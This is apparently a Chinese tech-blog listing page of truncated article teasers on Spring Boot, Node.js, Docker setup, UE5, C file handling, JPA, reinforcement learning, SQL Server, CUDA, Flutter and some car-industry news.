第十节:学习ConfigurationProperties类来配置pojo实体类参数(自学Spring boot 3.x的第二天)

大家好&#xff0c;我是网创有方 。这节记录下如何使用ConfigurationProperties来实现自动注入配置值。。实现将配置文件里的application.properties的参数赋值给实体类并且打印出来。 第一步&#xff1a;新建一个实体类WechatConfig package cn.wcyf.wcai.config;import org…...

如何学习Node.js

Node.js是一个开源、跨平台的JavaScript运行环境&#xff0c;它允许你在服务器端使用JavaScript。以下是一些步骤和资源&#xff0c;可以帮助你开始学习Node.js&#xff1a; ### 1. 基础知识 首先&#xff0c;确保你熟悉JavaScript语言的基础。Node.js是基于JavaScript的&…...

转盘输入法-单独鼠标版本

序 转盘输入法&#xff0c;给你的聊天加点新意。它不用常见的九宫格或全键盘&#xff0c;而是把字母摆在圆盘上&#xff0c;一滑一滑&#xff0c;字就出来了&#xff0c;新鲜又直接。 单独鼠标版本GIF演示 演示软件下载 转盘输入法https://download.csdn.net/download/u0146…...

Centos使用Docker安装JDK、Redis、Mysql、RabbitMq、Zookeeper

安装JDK8 使用以下查看当前系统是否自带JDKJava -version 未安装则使用以下命令安装及启动 docker pull java:8 docker run --name java --restartalways -d java:8安装Mysql5.7 docker pull mysql:5.7 docker run -p 3306:3306 --name mysql5.7 -e MYSQL_ROOT_PASSWORD12345…...

76. UE5 RPG 实现场景阻挡剔除功能

在俯视角游戏中&#xff0c;我们总会碰到一个问题就是&#xff0c;建筑会遮挡住角色的问题。遇到这种问题有多种解决方案&#xff0c;厂商经常使用的一种方案是&#xff0c;如果角色被遮挡&#xff0c;则使用一种纯色或者增加一些菲涅尔的效果来实现 这种效果我之前在unity内实…...

文件操作及部分文件函数的介绍学习(上)

目录 前言 1.为什么要要使用文件&#xff1f; 2.什么是文件&#xff1f; 2.1程序文件 2.2数据文件 2.3文件名 4.文件的打开和关闭 4.1 流和标准流 4.1.1流 4.1.2标准流 4.2文件指针 4.3文件的打开和关闭 结语 前言 Hello&#xff0c;亲爱的小伙伴们&#xff0c;作…...

【Spring Boot】基于 JPA 开发的文章管理系统(CRUD)

基于 JPA 开发的文章管理系统&#xff08;CRUD&#xff09; 1.实现文章实体2.实现数据持久层3.实现服务接口和服务接口的实现类3.1 创建服务接口3.2 编写服务接口的实现 4.实现增、删、改、查的控制层 API 功能4.1 获取文章列表4.2 根据 id 获取文章对象4.3 新增4.4 保存4.5 删…...

【人工智能】--强化学习(2.0)

个人主页&#xff1a;欢迎来到 Papicatch的博客 课设专栏 &#xff1a;学生成绩管理系统 专业知识专栏&#xff1a; 专业知识 文章目录 &#x1f349;强化学习与有监督学习的区别 &#x1f348;数据特点 &#x1f348;学习目标 &#x1f348;反馈机制 &#x1f348;策略…...

将生活与出行融合揽境凭什么可以做到?

中国消费者对SUV的钟爱与热衷,堪称市场中的一股强大潮流。他们对其的认可,不仅仅停留在功能性的满足,更是对品质、品味与生活态度的追求。SUV所代表的宽敞空间、卓越通过性和引人注目的外观,恰恰迎合了中国消费者对于舒适、实用与时尚并重的需求。从整个SUV市场来看,30万级…...

安全与智能完美联合,问界新M5通过易车主动安全测试

随着汽车技术的不断完善,如今新能源汽车市场竞争更加激烈。各大车企也更重视汽车安全性层面的打造。在5月30日,由易车推出的《易起鏖战》节目正式上线,节目中也通过实测方式,针对问界新M5、特斯拉Model Y和理想L6这三款行业代表作进行了主动安全的测试。结果可想而知,问界…...

深圳建设“超充之城”提速

五分钟的时间可以做什么?也许只是白领喝一杯咖啡的时间,但在深圳,能给新能源汽车续航200公里。在深圳的超充站,“一杯咖啡,满电出发”的标语十分醒目。深圳随处可见的超充标语近日,记者从深圳市发展改革委获悉,截至5月17日,深圳累计建成超充站378座。深圳“超充之城”建…...

SQLServer2022新特性Window子句

SQLServer2022新特性Window子句 参考官方文档 https://learn.microsoft.com/zh-cn/sql/t-sql/queries/select-window-transact-sql?viewsql-server-ver16 1、本文内容 语法参数一般备注示例 1.1、新特性适用于&#xff1a; SQL Server 2022 (16.x)Azure SQL 数据库Azure …...

[10] CUDA程序性能的提升 与 流

CUDA程序性能的提升 与 流 1. CUDA程序性能的提升 在本节中,我们会看到用来遵循的基本的一些性能来提升准则,我们会逐一解释它们1.1 使用适当的块数量和线程数量 研究表明,如果块的数量是 GPU 的流多处理器数量的两倍,则会给出最佳性能,不过,块和线程的数量与具体的算法…...

Flutter 中的 CompositedTransformTarget 小部件:全面指南

Flutter 中的 CompositedTransformTarget 小部件&#xff1a;全面指南 在Flutter的动画和高级布局系统中&#xff0c;CompositedTransformTarget是一个与CompositedTransformFollower配合使用的组件&#xff0c;用于创建硬件加速的跟随动画和视差效果。这种类型的动画通常用于…...